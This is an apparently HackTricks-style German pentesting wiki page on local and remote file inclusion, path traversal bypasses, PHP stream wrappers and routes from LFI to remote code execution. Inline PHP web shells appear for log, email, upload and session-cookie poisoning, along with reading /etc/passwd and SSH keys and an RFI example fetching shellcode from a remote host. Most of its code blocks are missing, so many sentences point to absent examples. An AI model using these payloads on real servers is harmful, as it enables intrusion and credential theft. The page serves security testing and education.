File Inclusion/Path traversal
Tritt dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Einblicke Engagiere dich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
Echtzeit Hack Nachrichten Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
Neueste Ankündigungen Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Tritt uns auf Discord bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
Dateiinclusion
Remote File Inclusion (RFI): Die Datei wird von einem Remote-Server geladen (Am besten: Du kannst den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig deaktiviert (allow_url_include). Local File Inclusion (LFI): Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer auf irgendeine Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
Anfällige PHP-Funktionen: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap
Blind - Interessant - LFI2RCE Dateien
Linux
Durch das Mischen mehrerer *nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:
Versuchen Sie auch, /
durch \
zu ersetzen.
Versuchen Sie auch, ../../../../../
hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie hier.
Windows
Zusammenführung verschiedener Wortlisten:
Versuchen Sie auch, /
durch \
zu ersetzen.
Versuchen Sie auch, C:/
zu entfernen und ../../../../../
hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie hier.
OS X
Überprüfen Sie die LFI-Liste von Linux.
Grundlegende LFI und Umgehungen
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=http://myserver.com/phpshellcode.txt\.
Traversal-Sequenzen nicht rekursiv entfernt
Null byte (%00)
Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $_GET['param']."php")
Dies ist seit PHP 5.4 gelöst
Kodierung
Sie könnten nicht-standardisierte Kodierungen wie doppelte URL-Kodierung (und andere) verwenden:
Aus existierendem Ordner
Vielleicht überprüft das Backend den Ordnerpfad:
Erkundung von Verzeichnissen im Dateisystem auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Bestimmen der Verzeichnistiefe: Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei
/etc/passwd
abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was eine Tiefe von drei anzeigt:
Ordner prüfen: Hänge den Namen des verdächtigen Ordners (z.B.
private
) an die URL an und navigiere dann zurück zu/etc/passwd
. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins:
Interpretieren der Ergebnisse: Die Antwort des Servers zeigt an, ob der Ordner existiert:
Fehler / Keine Ausgabe: Der Ordner
private
existiert wahrscheinlich nicht an dem angegebenen Ort.Inhalt von
/etc/passwd
: Die Anwesenheit des Ordnersprivate
ist bestätigt.
Rekursive Erkundung: Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob /var/www/
ein private
Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
Path Truncation Technique
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
/etc/passwd
,/etc//passwd
,/etc/./passwd
und/etc/passwd/
werden alle als derselbe Pfad behandelt.Wenn die letzten 6 Zeichen
passwd
sind, ändert das Anhängen eines/
(was es zupasswd/
macht) die Ziel-Datei nicht.Ebenso, wenn
.php
an einen Dateipfad angehängt wird (wieshellcode.php
), wird das Hinzufügen eines/.
am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf /etc/passwd
zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
Verwendung von Punktsegmenten und zusätzlichen Zeichen: Traversierungssequenzen (
../
), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.Bestimmung der erforderlichen Anzahl von Traversierungen: Durch Ausprobieren kann man die genaue Anzahl der benötigten
../
-Sequenzen finden, um zum Stammverzeichnis und dann zu/etc/passwd
zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie.php
) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd
) intakt bleibt.Beginn mit einem gefälschten Verzeichnis: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie
a/
) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Diese Schwachstelle wurde in PHP 5.3 behoben.
Tricks zum Umgehen von Filtern
Remote File Inclusion
In PHP ist dies standardmäßig deaktiviert, da allow_url_include
Aus ist. Es muss Ein sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
Wenn aus irgendeinem Grund allow_url_include
aktiviert ist, aber PHP den Zugriff auf externe Webseiten filtert, laut diesem Beitrag, könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
Im vorherigen Code wurde das finale +.txt
hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit .txt
endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
Ein weiteres Beispiel ohne das php://
Protokoll wäre:
Python Wurzelelement
In Python in einem Code wie diesem:
Wenn der Benutzer einen absoluten Pfad zu file_name
übergibt, wird der vorherige Pfad einfach entfernt:
Es ist das beabsichtigte Verhalten gemäß den Dokumenten:
Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der absoluten Pfadkomponente.
Java Verzeichnisse auflisten
Es scheint, dass wenn Sie eine Path Traversal in Java haben und Sie nach einem Verzeichnis anstelle einer Datei fragen, eine Auflistung des Verzeichnisses zurückgegeben wird. Dies wird in anderen Sprachen nicht passieren (soweit ich weiß).
Top 25 Parameter
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inklusions (LFI) Schwachstellen sein könnten (von link):
LFI / RFI mit PHP-Wrappers & Protokollen
php://filter
PHP-Filter ermöglichen grundlegende Modifikationsoperationen an den Daten, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformiert in eine andere Kodierung (convert.iconv.<input_enc>.<output_enc>
). Um die Liste aller unterstützten Kodierungen zu erhalten, führen Sie in der Konsole aus:iconv -l
Durch den Missbrauch des convert.iconv.*
Konvertierungsfilters können Sie willkürlichen Text generieren, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include willkürlichen Text zu verarbeiten. Für weitere Informationen siehe LFI2RCE über PHP-Filter.
zlib.deflate
: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)zlib.inflate
: Dekomprimiert die Datenmcrypt.*
: Veraltetmdecrypt.*
: VeraltetAndere Filter
Wenn Sie in PHP
var_dump(stream_get_filters());
ausführen, können Sie ein paar unerwartete Filter finden:consumed
dechunk
: Kehrt die HTTP-chunked Kodierung umconvert.*
Der Teil "php://filter" ist nicht groß-/kleinschreibungsempfindlich
Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer booleschen Exfiltration der Datei (zeichenweise) unter Verwendung von php-Filtern als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
Verwenden Sie den Codec
UCS-4LE
, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.Dies wird verwendet, um einen so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird, dass php einen Fehler auslöst.
Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr zu einem hexadezimalen Zeichen zu machen. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
Der Codec convert.iconv.UNICODE.CP930 transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein
a
ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher hat dechunk es nicht gelöscht und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.Durch die Verwendung anderer Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden und die ersten 2 Buchstaben geleakt werden, um die Zahl zu exfiltrieren.
Das endgültige Problem besteht darin, wie man mehr als den anfänglichen Buchstaben exfiltriert. Durch die Verwendung von Ordnungsfilter wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
Und um weitere Daten zu erhalten, besteht die Idee darin, 2 Bytes Junk-Daten am Anfang zu generieren mit convert.iconv.UTF16.UTF16, UCS-4LE anzuwenden, um es mit den nächsten 2 Bytes zu pivotieren, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: php_filters_chain_oracle_exploit.
php://fd
Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
Sie können auch php://stdin, php://stdout und php://stderr verwenden, um auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (nicht sicher, wie dies in einem Angriff nützlich sein könnte)
zip:// und rar://
Laden Sie eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greifen Sie darauf zu. Um das Rar-Protokoll missbrauchen zu können, muss es speziell aktiviert werden.
data://
Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen allow_url_open
und allow_url_include
eingeschränkt ist.
expect://
Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:
input://
Geben Sie Ihre Payload in den POST-Parametern an:
phar://
Eine .phar
-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include
zum Laden von Dateien nutzt. Der folgende PHP-Codeausschnitt zeigt die Erstellung einer .phar
-Datei:
Um die .phar
-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
Bei der Ausführung wird eine Datei namens test.phar
erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb von Funktionen wie file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
oder filesize()
durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des phar
-Protokolls verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von .phar
-Dateien, siehe das unten verlinkte Dokument:
Phar Deserialization Exploitation Guide
phar:// deserializationCVE-2024-2961
Es war möglich, jede beliebige Datei, die von PHP unterstützt wird und php-Filter verwendet, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann in diesem Beitrag gefunden werden.
Sehr schnelle Zusammenfassung: ein 3-Byte-Überlauf im PHP-Heap wurde ausgenutzt, um die Kette freier Blöcke einer bestimmten Größe zu ändern, um in jede Adresse schreiben zu können, sodass ein Hook hinzugefügt wurde, um system
aufzurufen.
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter ausgenutzt wurden.
Weitere Protokolle
Überprüfen Sie weitere mögliche Protokolle, die hier einbezogen werden können:
php://memory und php://temp — In den Speicher oder in eine temporäre Datei schreiben (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
file:// — Zugriff auf das lokale Dateisystem
http:// — Zugriff auf HTTP(s)-URLs
ftp:// — Zugriff auf FTP(s)-URLs
zlib:// — Kompressionsströme
glob:// — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
ssh2:// — Secure Shell 2
ogg:// — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)
LFI über PHPs 'assert'
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnis-Traversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.
Zum Beispiel könnte PHP-Code so gestaltet sein, dass er Verzeichnis-Traversierung verhindert:
Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen, um den Inhalt von Dateien zu lesen, könnte ein Angreifer Folgendes verwenden:
Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
Es ist wichtig, diese Payloads URL-zu kodieren.
Tritt dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Einblicke Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
Echtzeit-Hack-Nachrichten Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
Neueste Ankündigungen Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Tritt uns bei Discord und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
PHP Blind Path Traversal
Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion steuern, die auf eine Datei zugreift, aber Sie den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von file()
), aber der Inhalt wird nicht angezeigt.
In diesem unglaublichen Beitrag wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren.
Zusammenfassend verwendet die Technik die "UCS-4LE" Kodierung, um den Inhalt einer Datei so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen Fehler auslöst.
Dann wird der Filter dechunk
verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie base64 oder rot13, und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE verwendet, um andere Zeichen am Anfang zu platzieren und sie zu leaken.
Funktionen, die anfällig sein könnten: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (nur Ziel nur lesend mit diesem)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Für technische Details siehe den genannten Beitrag!
LFI2RCE
Remote File Inclusion
Wie zuvor erklärt, folgen Sie diesem Link.
Über Apache/Nginx-Protokolldatei
Wenn der Apache- oder Nginx-Server anfällig für LFI ist, könnten Sie versuchen, auf /var/log/apache2/access.log
oder /var/log/nginx/access.log
zuzugreifen, indem Sie im User-Agent oder in einem GET-Parameter eine PHP-Shell wie <?php system($_GET['c']); ?>
setzen und diese Datei einfügen.
Beachten Sie, dass wenn Sie doppelte Anführungszeichen für die Shell anstelle von einfachen Anführungszeichen verwenden, die doppelten Anführungszeichen für den String "quote;" geändert werden, PHP wird dort einen Fehler auslösen und nichts anderes wird ausgeführt.
Stellen Sie außerdem sicher, dass Sie die Payload korrekt schreiben, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
Dies könnte auch in anderen Protokollen durchgeführt werden, aber seien Sie vorsichtig, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header authorisation "basic" enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden. Andere mögliche Protokollpfade:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Sende eine E-Mail an ein internes Konto (user@localhost), die dein PHP-Payload wie <?php echo system($_REQUEST["cmd"]); ?>
enthält, und versuche, die E-Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME>
oder /var/spool/mail/<USERNAME>
einzuschließen.
Via /proc/*/fd/*
Lade viele Shells hoch (zum Beispiel: 100)
Schließe http://example.com/index.php?page=/proc/$PID/fd/$FD ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden).
Via /proc/self/environ
Wie eine Protokolldatei, sende das Payload im User-Agent, es wird in der Datei /proc/self/environ reflektiert.
Via upload
Wenn Sie eine Datei hochladen können, injizieren Sie einfach die Shell-Nutzlast darin (z.B.: <?php system($_GET['c']); ?>
).
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/doc/pdf zu injizieren.
Über ZIP-Datei-Upload
Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie zu:
Via PHP-Sitzungen
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
In PHP werden diese Sitzungen in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert.
Setzen Sie das Cookie auf <?php system('cat /etc/passwd');?>
Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.
Via ssh
Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie, auf <HOME>/.ssh/id_rsa zuzugreifen.
Via vsftpd logs
Die Protokolle für den FTP-Server vsftpd befinden sich unter /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI) Schwachstelle vorhanden ist und der Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
Injizieren Sie eine PHP-Nutzlast in das Benutzernamensfeld während des Anmeldevorgangs.
Nach der Injektion nutzen Sie die LFI, um die Serverprotokolle von /var/log/vsftpd.log abzurufen.
Via php base64 filter (using base64)
Wie in diesem Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 angeben, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
Via php-Filter (keine Datei erforderlich)
Dieser Bericht erklärt, dass Sie php-Filter verwenden können, um beliebige Inhalte als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie beliebigen PHP-Code für die Einbindung generieren können, ohne ihn in eine Datei schreiben zu müssen.
LFI2RCE via PHP FiltersVia Segmentierungsfehler
Laden Sie eine Datei hoch, die als vorübergehend in /tmp
gespeichert wird, und lösen Sie dann in der gleichen Anfrage einen Segmentierungsfehler aus. Die vorübergehende Datei wird dann nicht gelöscht und Sie können nach ihr suchen.
Via Nginx-Temporärdateispeicherung
Wenn Sie eine Local File Inclusion gefunden haben und Nginx vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
LFI2RCE via Nginx temp filesVia PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine Local File Inclusion gefunden haben, auch wenn Sie keine Sitzung haben und session.auto_start
auf Off
steht. Wenn Sie die PHP_SESSION_UPLOAD_PROGRESS
in multipart POST-Daten bereitstellen, wird PHP die Sitzung für Sie aktivieren. Sie könnten dies missbrauchen, um RCE zu erhalten:
Via temporäre Datei-Uploads in Windows
Wenn Sie eine Local File Inclusion gefunden haben und der Server unter Windows läuft, könnten Sie RCE erhalten:
LFI2RCE Via temp file uploadsVia pearcmd.php
+ URL-Argumente
pearcmd.php
+ URL-ArgumenteWie in diesem Beitrag erklärt, existiert das Skript /usr/local/lib/phppearcmd.php
standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein =
hat, er als Argument verwendet werden sollte.
Die folgende Anfrage erstellt eine Datei in /tmp/hello.php
mit dem Inhalt <?=phpinfo()?>
:
Der folgende Missbrauch einer CRLF-Schwachstelle ermöglicht RCE (von hier):
Via phpinfo() (file_uploads = on)
Wenn Sie eine Local File Inclusion gefunden haben und eine Datei mit phpinfo() und file_uploads = on exponiert ist, können Sie RCE erhalten:
LFI2RCE via phpinfo()Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
PHP_STREAM_PREFER_STUDIO
+ Path DisclosureWenn Sie eine Local File Inclusion gefunden haben und Sie den Pfad der temporären Datei exfiltrieren können, ABER der Server überprüft, ob die einzuschließende Datei PHP-Markierungen hat, können Sie versuchen, diese Überprüfung zu umgehen mit dieser Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureVia eternal waiting + bruteforce
Wenn Sie die LFI missbrauchen können, um temporäre Dateien hochzuladen und den Server die PHP-Ausführung hängen lassen, könnten Sie dann Stunden damit verbringen, Dateinamen zu bruteforcen, um die temporäre Datei zu finden:
LFI2RCE via Eternal waitingTo Fatal Error
Wenn Sie eine der Dateien /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
einfügen. (Sie müssen dieselbe Datei 2 Mal einfügen, um diesen Fehler auszulösen).
Ich weiß nicht, wie das nützlich ist, aber es könnte sein. Es sei denn, Sie verursachen einen PHP Fatal Error, werden die hochgeladenen PHP-Temporärdateien gelöscht.
References
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Insights Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
Real-Time Hack News Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeitnachrichten und Einblicke
Latest Announcements Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Treten Sie uns bei Discord und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
Last updated